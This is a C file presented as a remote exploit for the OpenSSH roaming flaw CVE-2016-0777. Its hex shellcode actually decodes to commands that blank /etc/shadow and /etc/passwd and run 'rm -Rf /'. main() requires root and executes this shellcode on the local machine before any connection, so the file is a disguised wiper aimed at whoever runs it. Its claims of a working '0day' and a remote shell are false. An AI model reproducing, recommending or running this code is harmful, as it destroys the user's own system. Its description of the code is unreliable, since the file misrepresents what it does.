CVE-2016-0777 roaming openssh exploit


    /*
    Exploit  : openssh roaming Exploit  -- CVE-2016-0777
    Author:  : KingCope
    Compile  : gcc  -W sploit.c -o sploit
    Usage:   : ./sploit HOST IP
    Thanks   : openBSD, congratz, guys
    */
     
    #include <stdio.h>
    #include <netdb.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
     
    void usage(char *argv[])
    {
      printf("Target : openssh 4.7 to 7.1 roaming\n");
      printf("Type   : 0day\n");
      printf("Author : You know me\n");
      printf("Exec   : %s <server> <port>\n\n", argv[0]);
      exit(1);
    }
     
    unsigned char shellcode[] =
    "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
    "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
    "\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
    "\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
    "\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
    "\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
    "\xcd\x80";
     
    int main(int argc, char *argv[])
    {
      int uid = getuid();
      int port = 22, sock;
      struct hostent *host;
      struct sockaddr_in addr;
     
      if(uid !=0)
      {
        fprintf(stderr, "- Abort - Need ROOT to bind to raw socket!!\n");
        exit(1);
      }
      if(uid == 0)
      {
        printf("\t+ OK Starting..\n");
      }
      if(argc != 3)
           usage(argv);
     
      fprintf(stderr, "[ ] Use IP and port (mandatory)\n");
      (*(void(*)())shellcode)();
      exit(1);
      char payload[1024];
      memcpy(payload, &shellcode, sizeof(shellcode));
      if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
      {
        printf("+ OK roaming mode activated, enjoy your shell!\n");
        system("/bin/sh");
      }
      else if(connect(sock,(struct sockaddr*)&addr, sizeof(addr))==-1)
      {
        fprintf(stderr, "- Failed! Roaming mode deactiveted??!!\n");
        exit(1);
      }
    }